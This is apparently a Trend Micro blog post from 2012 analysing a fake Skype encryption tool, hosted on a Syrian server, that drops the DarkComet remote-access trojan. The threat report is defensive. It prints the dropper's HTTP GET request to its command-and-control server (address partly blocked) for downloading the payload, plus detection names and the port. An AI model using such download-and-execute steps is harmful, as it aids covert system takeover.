Fake Skype Encryption Software Cloaks DarkComet Trojan

As the conflict in Syria persists, the Internet continues to play an interesting role. As we reported in a previous post, there have been targeted attacks against Syrian opposition supporters. With activists’ continued use of social media, it is not surprising to read reports of targeted phishing attempts to steal Facebook and YouTube credentials. A CNN report also revealed that a malware was being propagated through Skype, which brings us to another Skype-themed attack that we have uncovered.

We discovered a webpage that advertises a software that purports to provide encryption for Skype. This page is hosted in Syria on {BLOCKED}encription.sytes.net, which resolves to {BLOCKED}.{BLOCKED}.0.28 – the same server that acted as a command-and-control (C&C) server for previous attacks. The webpage features an embedded YouTube video that claims to be from “IT Security Lab” and to encrypt voice communications.

If users are tricked into downloading the file, a program does appear that is supposed to encrypt users’ Skype data. The said file, Skype Encription v 2.1.exe, is detected by Trend Micro as BKDR_METEO.HVN. During the analysis, we did not find any evidence that the software actually provides any security properties.

This file contains some interesting strings that suggest it was created by “SyRiAnHaCkErS”:

Encription v 2.1.pdb

The software then issues a connection:

GET /SkypeEncription/Download/skype.exe HTTP/1.1
Host: {BLOCKED}.{BLOCKED}.0.28
Connection: Keep-Alive

The downloaded file skype.exe, detected as BKDR_ZAPCHAST.HVN, is actually DarkComet version 3.3 and connects to {BLOCKED}.{BLOCKED}.0.28 on port 771. We were able to redirect the traffic in our test environment to confirm that it is indeed DarkComet.

Once BKDR_ZAPCHAST.HVN is installed, the attackers are able to take full control of the compromised system through the DarkComet RAT. The features of the DarkComet RAT have been covered here and here.

Note that Skype uses AES encryption on calls and instant messages, as well as its video conversations.

Trend Micro users need not worry as they are protected from this threat via Trend Micro™ Smart Protection Network™ that detects and deletes the related malware. We are also continuously monitoring this campaign and will update users for any significant developments.

Post from: TrendLabs | Malware Blog – by Trend Micro

Fake Skype Encryption Software Cloaks DarkComet Trojan

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Story added 20. April 2012, content source with full text you can find at link above.